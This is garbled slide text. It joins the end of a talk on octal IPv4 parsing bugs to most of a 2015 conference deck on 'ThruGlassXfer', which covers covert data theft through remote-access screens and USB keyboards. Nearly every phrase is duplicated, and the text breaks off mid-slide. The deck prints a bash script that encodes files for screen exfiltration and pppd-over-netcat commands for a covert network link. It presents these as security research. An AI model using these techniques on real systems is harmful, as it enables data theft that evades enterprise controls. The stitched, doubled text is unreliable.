Meanwhile: discussing parseInt with Google 60 https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors/Deprecated_octal MDN’s JavaScript error reference! @kaoudis 61 https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors/Deprecated_octal https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors/Bad_octal @kaoudis 62 Meanwhile: discussing parseInt with nodejs @sickcodes 63 @sickcodes Meanwhile: discussing parseInt with nodejs 64 @sickcodes Meanwhile: discussing parseInt with nodejs 65 @sickcodes ECMA... https://github.com/tc39/ecma262/issues/2455 66 @sickcodes ECMA... https://github.com/tc39/ecma262/issues/2455 67 @sickcodes ECMA... https://github.com/tc39/ecma262/issues/2455 68 Samuel King Jr. https://www.flickr.com/people/49840571@N02/, https://creativecommons.org/licenses/by-nc/2.0/ Which Spiderman is responsible here? 69 Some more PoCs ● CVE-2021-29922 ● CVE-2021-29923 ● Oracle S1446698* We’re also still tracking a few more we wish we could have shown. Maybe next time 70 ● javac ● Different JVMs ● Underlying C libraries!? Java & the runtime environment 71 Few handle octal IPv4 addresses the same way. 72 Few handle octal IPv4 addresses the same way. 73 What should an IPv4 address actually be? https://news.ycombinator.com/item?id=25545967 @kaoudis 74 https://news.ycombinator.com/item?id=25545967 https://blog.dave.tf/post/ip-addr-parsing/ @kaoudis What should an IPv4 address actually be? 75 https://news.ycombinator.com/item?id=25545967 https://blog.dave.tf/post/ip-addr-parsing/ @kaoudis What should an IPv4 address actually be? 76 https://news.ycombinator.com/item?id=25545967 https://blog.dave.tf/post/ip-addr-parsing/ @kaoudis What should an IPv4 address actually be? 77 https://news.ycombinator.com/item?id=25545967 https://blog.dave.tf/post/ip-addr-parsing/ @kaoudis What should an IPv4 address actually be? 78 https://www.google.com/intl/en/ipv6/statistics.html IPv6 though? @kaoudis 79 @kaoudis RFC draft 6943 80 @kaoudis RFC draft 6943 81 @kaoudis RFC draft 6943 82 Back to the original problem @sickcodes 83 Conclusion ● Teamwork ● Bug and vuln disclosure programs! ● Specification… maybe ● Don’t assume dependencies are perfect (please) @kaoudis 84 Thanks! @kaoudis
pdf
ThruGlassXfer ThruGlassXfer Remote Access, the APT Remote Access, the APT Credit: Awesome graphics from WallpapersWide.com August 2015 Remote Access, the APT // Ian Latter 2 Key messages for this session Key messages for this session • Current security architecture, flawed (now) Current security architecture, flawed (now) – Published everything you need to know Published everything you need to know • From first principles, to demonstrations and full From first principles, to demonstrations and full code release (PoC) with test framework. code release (PoC) with test framework. – The impact will probably be significant The impact will probably be significant • No constraints to data theft for remote workers or No constraints to data theft for remote workers or off-shore partners off-shore partners • There are no easy answers There are no easy answers – The paper has some suggestions The paper has some suggestions August 2015 Remote Access, the APT // Ian Latter 3 Who is this guy, at work? Who is this guy, at work? • Career Career – Blue, create & fix Blue, create & fix • Governance (Technical, Security) Governance (Technical, Security) – Multiple iconic international enterprise organisations Multiple iconic international enterprise organisations • Architect / Designer Architect / Designer – Enterprise perimeters, Data Centre consolidation Enterprise perimeters, Data Centre consolidation • SysAdmin, Tech Support SysAdmin, Tech Support – Red, break & destroy Red, break & destroy • Ethical Hacker / Penetration Tester Ethical Hacker / Penetration Tester – Pwn’d asia pacific in a business day Pwn’d asia pacific in a business day August 2015 Remote Access, the APT // Ian Latter 4 Who is this guy, at home? Who is this guy, at home? • My time My time – Threat Intelligence Threat Intelligence • ““Practical Threat Intelligence” course, BH Practical Threat Intelligence” course, BH • ““Threat Analytics” cloud service Threat Analytics” cloud service – OSSTMM OSSTMM • ““Active Filter Detection” tool Active Filter Detection” tool – Linux distributions Linux distributions • ““CHAOS” – the super computer for your wallet CHAOS” – the super computer for your wallet • ““Saturn” – scalable distributed storage Saturn” – scalable distributed storage – Barbie car? Barbie car? August 2015 Remote Access, the APT // Ian Latter 5 Credit to Researchers Credit to Researchers • 2013 2013 – D3adOne (Extracting data with USB HID) D3adOne (Extracting data with USB HID) • 2012 2012 – Ben Toews and Scott Behrens (DLP Circumvention, a Ben Toews and Scott Behrens (DLP Circumvention, a Demonstration of Futility) Demonstration of Futility) – VszA (Leaking data using DIY USB HID device) VszA (Leaking data using DIY USB HID device) • 2011 2011 – Stephen Nicholas (QuickeR: Using video QR codes to transfer Stephen Nicholas (QuickeR: Using video QR codes to transfer data) data) • Also Also – Dfries, Hak5, IronGeek, Mike Szczys, Netragrad, Thomas Cannon Dfries, Hak5, IronGeek, Mike Szczys, Netragrad, Thomas Cannon – And any others who I have not yet found. And any others who I have not yet found. August 2015 Remote Access, the APT // Ian Latter 6 PROBLEM SPACE PROBLEM SPACE Framing the Problem Framing the Problem August 2015 Remote Access, the APT // Ian Latter 7 First principles First principles • Assertion: Assertion: – Any user controlled bit is a communications Any user controlled bit is a communications channel channel • Validation: Validation: – The screen transmits large volumes of user The screen transmits large volumes of user controlled bits (imagine the screen as cut fiber controlled bits (imagine the screen as cut fiber optic bundle) optic bundle) – Can the screen be transformed into an Can the screen be transformed into an uncontrolled binary transfer interface? uncontrolled binary transfer interface? August 2015 Remote Access, the APT // Ian Latter 8 TECHNOLOGY SOLUTION TECHNOLOGY SOLUTION Engineering a Proof of Concept Engineering a Proof of Concept August 2015 Remote Access, the APT // Ian Latter 9 Screen data extraction Screen data extraction • Terminal Printing (1984) Terminal Printing (1984) – Virtual screen as a multi-use data device Virtual screen as a multi-use data device • DEC VT220 Programmer Reference Manual DEC VT220 Programmer Reference Manual – Ditto for [XYZ]modem protocols Ditto for [XYZ]modem protocols • VHS Tape Backup (1992-1996) VHS Tape Backup (1992-1996) – Video record/play of compressed binary data Video record/play of compressed binary data • Grey-scaled picture of two rows of eight blocks, Grey-scaled picture of two rows of eight blocks, comprised of more nested blocks comprised of more nested blocks – ArVid ISA board with AV-in/out (composite) ArVid ISA board with AV-in/out (composite) August 2015 Remote Access, the APT // Ian Latter 10 Real screen data extraction Real screen data extraction • Timex DataLink Watch (1994) Timex DataLink Watch (1994) – Address book data transmitted from the Address book data transmitted from the screen to a wrist watch screen to a wrist watch • Eeprom programmed with light Eeprom programmed with light – Windows 95 and 98, required CRT Windows 95 and 98, required CRT • Open source (dfries) done with USB TTL LED Open source (dfries) done with USB TTL LED – Transfer rate: Transfer rate: • 20 seconds to transfer 70 phone 20 seconds to transfer 70 phone numbers numbers August 2015 Remote Access, the APT // Ian Latter 11 Timex / Microsoft advert Timex / Microsoft advert The first computer watch revolution, 1994 The first computer watch revolution, 1994 August 2015 Remote Access, the APT // Ian Latter 12 Machine recognition Machine recognition • Quick Response Codes (1994) Quick Response Codes (1994) – 1960s: Denso Wave responded to cashiers’ 1960s: Denso Wave responded to cashiers’ need for machine readable Kanji encoded data need for machine readable Kanji encoded data with 2D barcodes with 2D barcodes – 1990s: Denso Wave wanted to improve 1990s: Denso Wave wanted to improve performance and did an exhaustive study of performance and did an exhaustive study of printed business materials – QR Code is: printed business materials – QR Code is: • Highly distinguished Highly distinguished • Highly machine recognisable Highly machine recognisable • 360 degree scanning 360 degree scanning August 2015 Remote Access, the APT // Ian Latter 13 Performance & error correction Performance & error correction • Quick Response Codes (2000-2006) Quick Response Codes (2000-2006) – Adopted by the auto industry Adopted by the auto industry – Formalised as ISO/IEC 18004:2000 Formalised as ISO/IEC 18004:2000 • Rapid scanning capability Rapid scanning capability • Automatic re-orientation of the image Automatic re-orientation of the image • Inherent error correction Inherent error correction • Native binary support Native binary support – Revised as ISO/IEC 18004:2006 for model 2 Revised as ISO/IEC 18004:2006 for model 2 • Support deformed/distorted codes Support deformed/distorted codes • Capacity up to about 3KB Capacity up to about 3KB August 2015 Remote Access, the APT // Ian Latter 14 Optical packet network (L3) Optical packet network (L3) • Zen moment Zen moment – Consider the QR Code as an optical packet Consider the QR Code as an optical packet captured within the ether of the display device. captured within the ether of the display device. – Datagram network protocol, OSI Layer 3 Datagram network protocol, OSI Layer 3 • Beyond the packet boundary, create a flow Beyond the packet boundary, create a flow – Transmitter replaces one code for another Transmitter replaces one code for another – Receiver uses video instead of a photo Receiver uses video instead of a photo – Receiver doesn’t exit, just keeps going. Receiver doesn’t exit, just keeps going. August 2015 Remote Access, the APT // Ian Latter 15 Layer 4 problems Layer 4 problems • All new problems: All new problems: – Unidirectional interface Unidirectional interface • No synchronisation, no signalling, no flow control No synchronisation, no signalling, no flow control • Requires over-sampling (2-3x) Requires over-sampling (2-3x) – Oversampling creates duplicates Oversampling creates duplicates • Requires de-duplication Requires de-duplication • Duplicates may be intentional (repeating Duplicates may be intentional (repeating sequences in the application layer) sequences in the application layer) • Need for a transport protocol! Need for a transport protocol! August 2015 Remote Access, the APT // Ian Latter 16 Creating transport data flow Creating transport data flow • QR code v1 = 14 octets at 15% ECC QR code v1 = 14 octets at 15% ECC – Take the 1 Take the 1st st octet and create “control byte” octet and create “control byte” – Create two frames, “Control” and “Data” Create two frames, “Control” and “Data” • Data Frame Data Frame – Control Byte Control Byte • Bit 0: is always 0 (Data Frame) Bit 0: is always 0 (Data Frame) • Bits 1-4: Counter (cycles from 0-15) Bits 1-4: Counter (cycles from 0-15) • Bits 5-7: Reserved (unused) Bits 5-7: Reserved (unused) – Payload of source bytes mod capacity bytes Payload of source bytes mod capacity bytes August 2015 Remote Access, the APT // Ian Latter 17 Creating transport control flow Creating transport control flow • Control Frame Control Frame – Control Byte Control Byte • Bit 0: is always 1 (Control Frame) Bit 0: is always 1 (Control Frame) • Bits 1-3: Control Type Bits 1-3: Control Type • Bits 4-7: Control Sub-Type Bits 4-7: Control Sub-Type – Payload is control data, as needed Payload is control data, as needed • File name File name • File size File size • CRC CRC • etc etc August 2015 Remote Access, the APT // Ian Latter 18 Creating transport control msgs Creating transport control msgs Control Type Control Sub-Type Label Function 001 (1) 0001 (1) START/FILENAME Name of source data 0010 (2) START/FILESIZE Length of source data (octets) 0011 (3) START/QR_VER QR code version 0100 (4) START/QR_FPS QR code frames per second 0101 (5) START/QR_BYTES QR code octets per frame 010 (2) 0001 (1) STOP/PAUSE Transmission paused 0010 (2) STOP/COMPLETE Transmission completed 0011 (3) STOP/CANCEL Transmission cancelled 011 (3) 0001 (1) STATUS/SINCE Status since last status August 2015 Remote Access, the APT // Ian Latter 19 TGXf Transport Protocol + TGXf Transport Protocol + • One way data transfer between two or more One way data transfer between two or more peers peers – Features (at Layer 4-7) Features (at Layer 4-7) • Supports high latency Supports high latency • Supports interrupted transfers Supports interrupted transfers • Includes error detection Includes error detection – Requires (of Layer 3) Requires (of Layer 3) • Either 1, 2, 5, 8 or 10 Frames Per Second (FPS) Either 1, 2, 5, 8 or 10 Frames Per Second (FPS) • QR Code version 1, 2, 8 or 15 QR Code version 1, 2, 8 or 15 • Binary encoding, Type M (15%) error correction Binary encoding, Type M (15%) error correction August 2015 Remote Access, the APT // Ian Latter 20 TGXf Layer 3 Configurations TGXf Layer 3 Configurations Version Mode ECC Frame Capacity Reliable Capacity 1 Binary M (15%) 14 bytes per frame 10 bytes per frame 2 Binary M (15%) 26 bytes per frame 22 bytes per frame 8 Binary M (15%) 152 bytes per frame 148 bytes per frame 15 Binary M (15%) 412 bytes per frame 408 bytes per frame • Supported QR code versions Supported QR code versions – No real impact on Layer 4 (MTU) No real impact on Layer 4 (MTU) – ECC is dynamic and can exceed the binary payload ECC is dynamic and can exceed the binary payload capacity, resulting in a frame of a different version capacity, resulting in a frame of a different version (automatically increases resolution) (automatically increases resolution) August 2015 Remote Access, the APT // Ian Latter 21 TGXf Hello World – 1/1:1 TGXf Hello World – 1/1:1 • Control Frame Control Frame – Control Byte Control Byte • Bit 0: Control (1) Bit 0: Control (1) • Bits1-3: START (1) Bits1-3: START (1) • Bits4-7: Bits4-7: FILENAME (1) FILENAME (1) – Payload Payload • ““helloworl” helloworl” – Encode as QR code Encode as QR code version 8 datagram version 8 datagram August 2015 Remote Access, the APT // Ian Latter 22 TGXf Hello World – 1/1:2 TGXf Hello World – 1/1:2 • Control Frame Control Frame – Control Byte Control Byte • Bit 0: Control (1) Bit 0: Control (1) • Bits1-3: START (1) Bits1-3: START (1) • Bits4-7: Bits4-7: FILESIZE (2) FILESIZE (2) – Payload Payload • 13 octets 13 octets – Encode as QR code Encode as QR code version 8 datagram version 8 datagram August 2015 Remote Access, the APT // Ian Latter 23 TGXf Hello World – 1/1:5 TGXf Hello World – 1/1:5 • Control Frame Control Frame – Control Byte Control Byte • Bit 0: Control (1) Bit 0: Control (1) • Bits1-3: START (1) Bits1-3: START (1) • Bits4-7: Bits4-7: QRCODE_BYTES (5) QRCODE_BYTES (5) – Payload Payload • 148 octets 148 octets – Encode as QR code Encode as QR code version 8 datagram version 8 datagram August 2015 Remote Access, the APT // Ian Latter 24 TGXf Hello World – 1/1:4 TGXf Hello World – 1/1:4 • Control Frame Control Frame – Control Byte Control Byte • Bit 0: Control (1) Bit 0: Control (1) • Bits1-3: START (1) Bits1-3: START (1) • Bits4-7: Bits4-7: QRCODE_FPS (4) QRCODE_FPS (4) – Payload Payload • 5 fps 5 fps – Encode as QR code Encode as QR code version 8 datagram version 8 datagram August 2015 Remote Access, the APT // Ian Latter 25 TGXf Hello World – 0/data TGXf Hello World – 0/data • Data Frame Data Frame – Control Byte Control Byte • Bit 0: Data (0) Bit 0: Data (0) • Bits1-4: Counter (0) Bits1-4: Counter (0) – Payload Payload • ““Hello World!” Hello World!” – Encode as QR code Encode as QR code version 8 datagram version 8 datagram August 2015 Remote Access, the APT // Ian Latter 26 TGXf Hello World – 1/2:2 TGXf Hello World – 1/2:2 • Control Frame Control Frame – Control Byte Control Byte • Bit 0: Control (1) Bit 0: Control (1) • Bits1-3: STOP (2) Bits1-3: STOP (2) • Bits4-7: Bits4-7: COMPLETE (2) COMPLETE (2) – Payload Payload • CRC32 CRC32 – Encode as QR code Encode as QR code version 8 datagram version 8 datagram August 2015 Remote Access, the APT // Ian Latter 27 TGXf Result – visual modem TGXf Result – visual modem If you see this in Smart Auditor, you've lost If you see this in Smart Auditor, you've lost August 2015 Remote Access, the APT // Ian Latter 28 TGXf Data Rates TGXf Data Rates • Recall the supported QR Code versions Recall the supported QR Code versions – Updating our Layer 3 configurations table with FPS values, we Updating our Layer 3 configurations table with FPS values, we get the following. get the following. – I.e. 80 bps to 32 kbps I.e. 80 bps to 32 kbps – Arbitrarily limited only by the receiver Arbitrarily limited only by the receiver Version Reliable Capacity FPS (1 -> 10) x 8 bits 1 10 bytes per frame 80bps -> 800 bps 2 22 bytes per frame 176 bps -> 1,760 bps 8 148 bytes per frame 1,184 bps -> 11,840 bps 15 408 bytes per frame 3,264 bps -> 32,640 bps August 2015 Remote Access, the APT // Ian Latter 29 TGXf a PDF from Youtube TGXf a PDF from Youtube YouTube is the new DropBox YouTube is the new DropBox August 2015 Remote Access, the APT // Ian Latter 30 Another version Another version • Recall the supported QR Code versions Recall the supported QR Code versions – Updating our Layer 3 configurations table with resolutions, we Updating our Layer 3 configurations table with resolutions, we get the following. get the following. • Previous examples scaled the code Previous examples scaled the code – Lets look at a native version 1 example .. Lets look at a native version 1 example .. Version Reliable Capacity Resolution 1 10 bytes per frame 21 x 21 pixels 2 22 bytes per frame 25 x 25 pixels 8 148 bytes per frame 49 x 49 pixels 15 408 bytes per frame 77 x 77 pixels August 2015 Remote Access, the APT // Ian Latter 31 TGXf a PDF from BASH TGXf a PDF from BASH ANSI generated QR codes pass through SSH jump hosts ANSI generated QR codes pass through SSH jump hosts August 2015 Remote Access, the APT // Ian Latter 32 Technology check-point (1/3) Technology check-point (1/3) • So! So! – If the TGXf transmit software was on a laptop If the TGXf transmit software was on a laptop we could now exfiltrate data, file by file, we could now exfiltrate data, file by file, through its screen (binaries already public) through its screen (binaries already public) • How do we get TGXf onto the laptop in the How do we get TGXf onto the laptop in the first place? first place? – Recall that: Recall that: any user controlled bit is a any user controlled bit is a communications channel communications channel .. .. – And .. we have a keyboard! And .. we have a keyboard! August 2015 Remote Access, the APT // Ian Latter 33 Digital Programmable Keyboard Digital Programmable Keyboard • Arduino Leonardo Arduino Leonardo – USB HID Keyboard USB HID Keyboard • No drivers needed! No drivers needed! • Keyboard.println(“x”) Keyboard.println(“x”) – Open source platform Open source platform • Heaps of support! Heaps of support! • Digispark (top) Digispark (top) – 6KB of flash 6KB of flash • Leostick Leostick – 32KB of flash 32KB of flash August 2015 Remote Access, the APT // Ian Latter 34 What to type? What to type? • Source code (text) would be easy to send but Source code (text) would be easy to send but then needs to be compiled .. meh then needs to be compiled .. meh • Send statically compiled binary Send statically compiled binary – Gzip TGXf transmit binary (~80->25KB) Gzip TGXf transmit binary (~80->25KB) – Hexdump the .gz (byte = 2 chars; 0-9, a-f) Hexdump the .gz (byte = 2 chars; 0-9, a-f) • Receive via text editor Receive via text editor – ““Type” it in, structured Type” it in, structured • Bash (printf) or Perl (print) Bash (printf) or Perl (print) – Save, chmod and run script, gunzip result! Save, chmod and run script, gunzip result! August 2015 Remote Access, the APT // Ian Latter 35 Uploading to Lin64 via Win32 over SSH via keyboard Uploading to Lin64 via Win32 over SSH via keyboard Typing a BASH2BIN script Typing a BASH2BIN script August 2015 Remote Access, the APT // Ian Latter 36 Technology check-point (2/3) Technology check-point (2/3) • Wait, what!? Wait, what!? – First, there’s now no barrier to getting TGXf First, there’s now no barrier to getting TGXf into a computer (this is bad in enterprise). into a computer (this is bad in enterprise). – But second, we just sent data into the But second, we just sent data into the computer .. so: computer .. so: • No longer unidirectional No longer unidirectional – ZOMG Full Duplex! w00t ZOMG Full Duplex! w00t • Could now replace TGXf file transfers with Could now replace TGXf file transfers with full-blown through screen and keyboard full-blown through screen and keyboard networking! networking! August 2015 Remote Access, the APT // Ian Latter 37 Keyboard Interface Keyboard Interface • USB HID Keyboard interface USB HID Keyboard interface – Polled interface, each 1ms Polled interface, each 1ms • Typical implementations send one “key” packet Typical implementations send one “key” packet followed by one “null” packet (key clear) followed by one “null” packet (key clear) • Not necessary, but still implemented Not necessary, but still implemented – Contains up to 6 keyboard keys (by code) Contains up to 6 keyboard keys (by code) • Note – no native binary mode Note – no native binary mode – Automatically de-duped (no one key twice) Automatically de-duped (no one key twice) • Note – data removed irretrievably Note – data removed irretrievably August 2015 Remote Access, the APT // Ian Latter 38 TKXf – Keyboard Transport TKXf – Keyboard Transport • Same as TGXf – USB HID packet is L3 Same as TGXf – USB HID packet is L3 – Still unidirectional Still unidirectional • Though status LEDs could be used Though status LEDs could be used – Create binary payload by encoding data in Create binary payload by encoding data in hexadecimal hexadecimal • Halves throughput: 3 octets/pkt/ms Halves throughput: 3 octets/pkt/ms • Retained “key clear” packet: 3 octets/pkt/2ms Retained “key clear” packet: 3 octets/pkt/2ms – Correct for de-duplication by creating a de-dupe Correct for de-duplication by creating a de-dupe layer that re-dupes at the receiving end layer that re-dupes at the receiving end • Simple positional reference based encoding Simple positional reference based encoding August 2015 Remote Access, the APT // Ian Latter 39 TKXf – Transport Protocol TKXf – Transport Protocol • 6 char packets are too small for a control 6 char packets are too small for a control header header – Bookended “sequence” instead of “packet” Bookended “sequence” instead of “packet” • Data Data = “space” = “space” = 0x2C/0x20 = 0x2C/0x20 • Control/Start Control/Start = “comma” = “comma” = 0x36/0x2C = 0x36/0x2C • Control/Stop Control/Stop = “period” = “period” = 0x37/0x2E = 0x37/0x2E – Process as a “stream” Process as a “stream” • And let’s ignore “file” based transfers .. And let’s ignore “file” based transfers .. August 2015 Remote Access, the APT // Ian Latter 40 TKXf – “Keyboard Stuffer” TKXf – “Keyboard Stuffer” • Target Arduino (top) Target Arduino (top) – USB HID Keyboard USB HID Keyboard • Encodes received Encodes received raw/binary data as keys raw/binary data as keys – Alter “Keyboard” Alter “Keyboard” library to expose HID library to expose HID packet (12x faster ++) packet (12x faster ++) • Attacker Arduino Attacker Arduino – USB Serial Interface USB Serial Interface • Sends raw/binary Sends raw/binary octets to Target Arduino octets to Target Arduino August 2015 Remote Access, the APT // Ian Latter 41 TGXf note TGXf note • One note on TGXf before we integrate One note on TGXf before we integrate TGXf and TKXf TGXf and TKXf – If we remove the control frames (layer) from If we remove the control frames (layer) from TGXf it is capable of “streams” rather than TGXf it is capable of “streams” rather than “files” “files” • Now we can assemble the Now we can assemble the Through Console Transfer Through Console Transfer application! application! August 2015 Remote Access, the APT // Ian Latter 42 TCXf Application Architecture TCXf Application Architecture August 2015 Remote Access, the APT // Ian Latter 43 Technology check-point (3/3) Technology check-point (3/3) • TCXf TCXf – TKXf reference impl. has 12kbps max, up TKXf reference impl. has 12kbps max, up • Could probably get this up to 32kbps Could probably get this up to 32kbps – Use Use Key clear Key clear packet with second character set (x2) packet with second character set (x2) – Use base64 for 4 bytes per 3 hex values (+1/3) Use base64 for 4 bytes per 3 hex values (+1/3) – TGXf reference impl. has 32kbps max, down TGXf reference impl. has 32kbps max, down – Features Features • Bi-directional, binary clear, serial connection Bi-directional, binary clear, serial connection • Native network socket interface Native network socket interface • Insane portability / Massive vulnerability Insane portability / Massive vulnerability August 2015 Remote Access, the APT // Ian Latter 44 TCXf IP Network Evolution TCXf IP Network Evolution • PPP over the Screen and Keyboard PPP over the Screen and Keyboard – On the target device; On the target device; • sudo pppd 10.1.1.1:10.1.1.2 debug noccp sudo pppd 10.1.1.1:10.1.1.2 debug noccp nodetatch pty “netcat localhost 8442” nodetatch pty “netcat localhost 8442” – Note the privilege required to create a NIC Note the privilege required to create a NIC (We already had a full-duplex socket without it) (We already had a full-duplex socket without it) – On the attackers device; On the attackers device; • sleep 2; sudo pppd noipdefault debug noccp sleep 2; sudo pppd noipdefault debug noccp nodetatch pty “netcat localhost 8442” nodetatch pty “netcat localhost 8442” August 2015 Remote Access, the APT // Ian Latter 45 ARCHITECTURE ARCHITECTURE POC Impact on the Enterprise Architecture POC Impact on the Enterprise Architecture August 2015 Remote Access, the APT // Ian Latter 46 ESA Context? ESA Context? • Time to be Enterprise Security Architects Time to be Enterprise Security Architects – Firstly, what are TGXf, TKXf and TCXf? Firstly, what are TGXf, TKXf and TCXf? • In the vulnerability taxonomy we are dealing with In the vulnerability taxonomy we are dealing with as “storage based” as “storage based” covert channel covert channel attacks attacks – Secondly, where’s the enterprise? Secondly, where’s the enterprise? • So far we’ve been working from a local computer So far we’ve been working from a local computer context context • But in enterprise we abstract the screen and But in enterprise we abstract the screen and keyboard (on the organisation’s side) .. keyboard (on the organisation’s side) .. August 2015 Remote Access, the APT // Ian Latter 47 This is enterprise @ L7 This is enterprise @ L7 • Remote access Remote access – VMware VMware – Citrix Citrix – RDP RDP – VNC VNC – SSH SSH – etc ad nausea etc ad nausea • Console abstraction Console abstraction August 2015 Remote Access, the APT // Ian Latter 48 TCXf Enterprise Impact TCXf Enterprise Impact August 2015 Remote Access, the APT // Ian Latter 49 TCXf PPP via XPe Thin Client TCXf PPP via XPe Thin Client Attacker Laptop → Corp XPe Thin Client → Corp Linux App Server Attacker Laptop → Corp XPe Thin Client → Corp Linux App Server August 2015 Remote Access, the APT // Ian Latter 50 TECHNOLOGY SOLUTION 2 TECHNOLOGY SOLUTION 2 Engineering a better Proof of Concept Engineering a better Proof of Concept August 2015 Remote Access, the APT // Ian Latter 51 clientlessTGXf (New, Xmas '14!) clientlessTGXf (New, Xmas '14!) • Making good on the ASCII threat Making good on the ASCII threat – TGXf is a Transport Protocol at Layer 4 TGXf is a Transport Protocol at Layer 4 – Datagram Protocols at Layer 3 could be; Datagram Protocols at Layer 3 could be; • Graphic: Pixels, Images (i.e. F500 logos) Graphic: Pixels, Images (i.e. F500 logos) • Text: Letters, Words, Phrases Text: Letters, Words, Phrases – clientlessTGXf PoC (published December) clientlessTGXf PoC (published December) • Use text letters to enable clientless Use text letters to enable clientless • Minimal server side IOCs Minimal server side IOCs • Demos futility of QR code detection Demos futility of QR code detection August 2015 Remote Access, the APT // Ian Latter 52 clientlessTGXf from BASH clientlessTGXf from BASH • POC was tested on this terminal setup; POC was tested on this terminal setup; – Monospace Bold font at 16pt, black text on white BG Monospace Bold font at 16pt, black text on white BG • About 300 bytes of script (counter+data, FD3) About 300 bytes of script (counter+data, FD3) IFS="" ; LANG=C ; c=0 ; while read -s -u 3 -d '' -r -n 1 IFS="" ; LANG=C ; c=0 ; while read -s -u 3 -d '' -r -n 1 i ; do printf -v b "%i" "'$i" ; echo " $((($c&128)>>7))$ i ; do printf -v b "%i" "'$i" ; echo " $((($c&128)>>7))$ ((($c&64)>>6))$((($c&32)>>5))$((($c&16)>>4))$ ((($c&64)>>6))$((($c&32)>>5))$((($c&16)>>4))$ ((($c&8)>>3))$((($c&4)>>2))$((($c&2)>>1))$(($c&1)) $ ((($c&8)>>3))$((($c&4)>>2))$((($c&2)>>1))$(($c&1)) $ ((($b&128)>>7))$((($b&64)>>6))$((($b&32)>>5))$ ((($b&128)>>7))$((($b&64)>>6))$((($b&32)>>5))$ ((($b&16)>>4))$((($b&8)>>3))$((($b&4)>>2))$ ((($b&16)>>4))$((($b&8)>>3))$((($b&4)>>2))$ ((($b&2)>>1))$(($b&1))" ; ((c++)) ; (($c==256)) && ((($b&2)>>1))$(($b&1))" ; ((c++)) ; (($c==256)) && c=0 ; sleep 0.005 ; done c=0 ; sleep 0.005 ; done August 2015 Remote Access, the APT // Ian Latter 53 clientlessTGXf & HDMI Capture clientlessTGXf & HDMI Capture • Capture (1kbps) Capture (1kbps) – HDMI MITM HDMI MITM • AverMedia Game AverMedia Game Capture II (with remote!) Capture II (with remote!) • Up to 1920x1080x30fps Up to 1920x1080x30fps captured to MP4 on captured to MP4 on USB Mass Storage USB Mass Storage • Recovery (100bps) Recovery (100bps) – Video Processing Video Processing • Data recovered from Data recovered from MP4 file by Linux MP4 file by Linux application application August 2015 Remote Access, the APT // Ian Latter 54 clientlessTGXf in the Red Room clientlessTGXf in the Red Room • USB HDD and Red Room Protocols USB HDD and Red Room Protocols – A device can enter A device can enter • Must be blanked (except for firmware) Must be blanked (except for firmware) • Shouldn't have a problem getting capture Shouldn't have a problem getting capture equipment into the Red Room equipment into the Red Room – A device can leave A device can leave • Must be blanked (except for firmware) Must be blanked (except for firmware) • Will have a problem bringing back the USB mass Will have a problem bringing back the USB mass storage with MP4 ..? storage with MP4 ..? August 2015 Remote Access, the APT // Ian Latter 55 Hiding USB keys? Hiding USB keys? Captain Koons says “be creative” .. Captain Koons says “be creative” .. August 2015 Remote Access, the APT // Ian Latter 56 clientlessTGXf upload clientlessTGXf upload Native 1920x1080 HDMI capture with clientlessTGXf BASH upload Native 1920x1080 HDMI capture with clientlessTGXf BASH upload August 2015 Remote Access, the APT // Ian Latter 57 clientlessTGXf download clientlessTGXf download Decoding TGXf video stream to disk as original file Decoding TGXf video stream to disk as original file August 2015 Remote Access, the APT // Ian Latter 58 TECHNOLOGY SOLUTION 3 TECHNOLOGY SOLUTION 3 Engineering a faster Proof of Concept Engineering a faster Proof of Concept August 2015 Remote Access, the APT // Ian Latter 59 highspeedTGXf (New, Today!) highspeedTGXf (New, Today!) • Making good on the PIXEL threat Making good on the PIXEL threat – TGXf updated Transport Protocol at Layer 4 TGXf updated Transport Protocol at Layer 4 • CRC32 per Frame/Packet CRC32 per Frame/Packet – Datagram Protocol at Layer 3 is pixels; Datagram Protocol at Layer 3 is pixels; • HTML5 canvas and Javascript HTML5 canvas and Javascript – hsTGXf PoC (published today) hsTGXf PoC (published today) • Use ~20k of Javascript to enable clientless Use ~20k of Javascript to enable clientless • Again, minimal server side IOCs Again, minimal server side IOCs • Again, demos futility of targeting a specific Again, demos futility of targeting a specific implementation implementation August 2015 Remote Access, the APT // Ian Latter 60 hsTGXf & HDMI Capture hsTGXf & HDMI Capture – HDMI MITM HDMI MITM • AverMedia Game Capture II AverMedia Game Capture II (with remote!) (with remote!) • Up to 1280x720x60fps Up to 1280x720x60fps captured to MP4 on USB captured to MP4 on USB Mass Storage Mass Storage • Demo 1240x650x2fps Demo 1240x650x2fps (100,750 bytes per frame) (100,750 bytes per frame) • Recovery (per before) Recovery (per before) – Video Processing Video Processing • Data recovered from MP4 Data recovered from MP4 file by Linux application file by Linux application • Capture (1.3Mbps @ 2FPS, 1BPP) Capture (1.3Mbps @ 2FPS, 1BPP) August 2015 Remote Access, the APT // Ian Latter 61 highspeedTGXf “client” highspeedTGXf “client” Uploading the HTML5 and Javascript client via keyboard Uploading the HTML5 and Javascript client via keyboard August 2015 Remote Access, the APT // Ian Latter 62 highspeedTGXf upload highspeedTGXf upload Native 1280x720 HDMI capture with web browser upload Native 1280x720 HDMI capture with web browser upload August 2015 Remote Access, the APT // Ian Latter 63 hsTGXf download hsTGXf download Decoding 1.3Mbps TGXf video stream to disk as original file Decoding 1.3Mbps TGXf video stream to disk as original file August 2015 Remote Access, the APT // Ian Latter 64 hsTGXf & HDMI Capture hsTGXf & HDMI Capture – HDMI MITM HDMI MITM • Black Magic Design Black Magic Design DeckLink Mini Recorder DeckLink Mini Recorder • Up to 1280x720x60fps Up to 1280x720x60fps captured to local SATA captured to local SATA HDD HDD • Demo 1240x650x8fps Demo 1240x650x8fps (100,750 bytes per frame) (100,750 bytes per frame) • Recovery (per before) Recovery (per before) – Video Processing Video Processing • Data recovered from AVI file Data recovered from AVI file (YUV) by Linux application (YUV) by Linux application • Capture (4.7Mbps @ 8FPS, 1BPP) Capture (4.7Mbps @ 8FPS, 1BPP) August 2015 Remote Access, the APT // Ian Latter 65 hsTGXf download hsTGXf download Decoding 4.7Mbps TGXf video stream to disk as original file Decoding 4.7Mbps TGXf video stream to disk as original file August 2015 Remote Access, the APT // Ian Latter 66 Architecture Architecture Back to the impact on Enterprise Architecture Back to the impact on Enterprise Architecture August 2015 Remote Access, the APT // Ian Latter 67 Architectural Analysis Architectural Analysis • Human versus Machine? Human versus Machine? – Leaving out the PPP example, no variation in Leaving out the PPP example, no variation in access was granted to the user. access was granted to the user. • TCXf can only type and read what the user can. 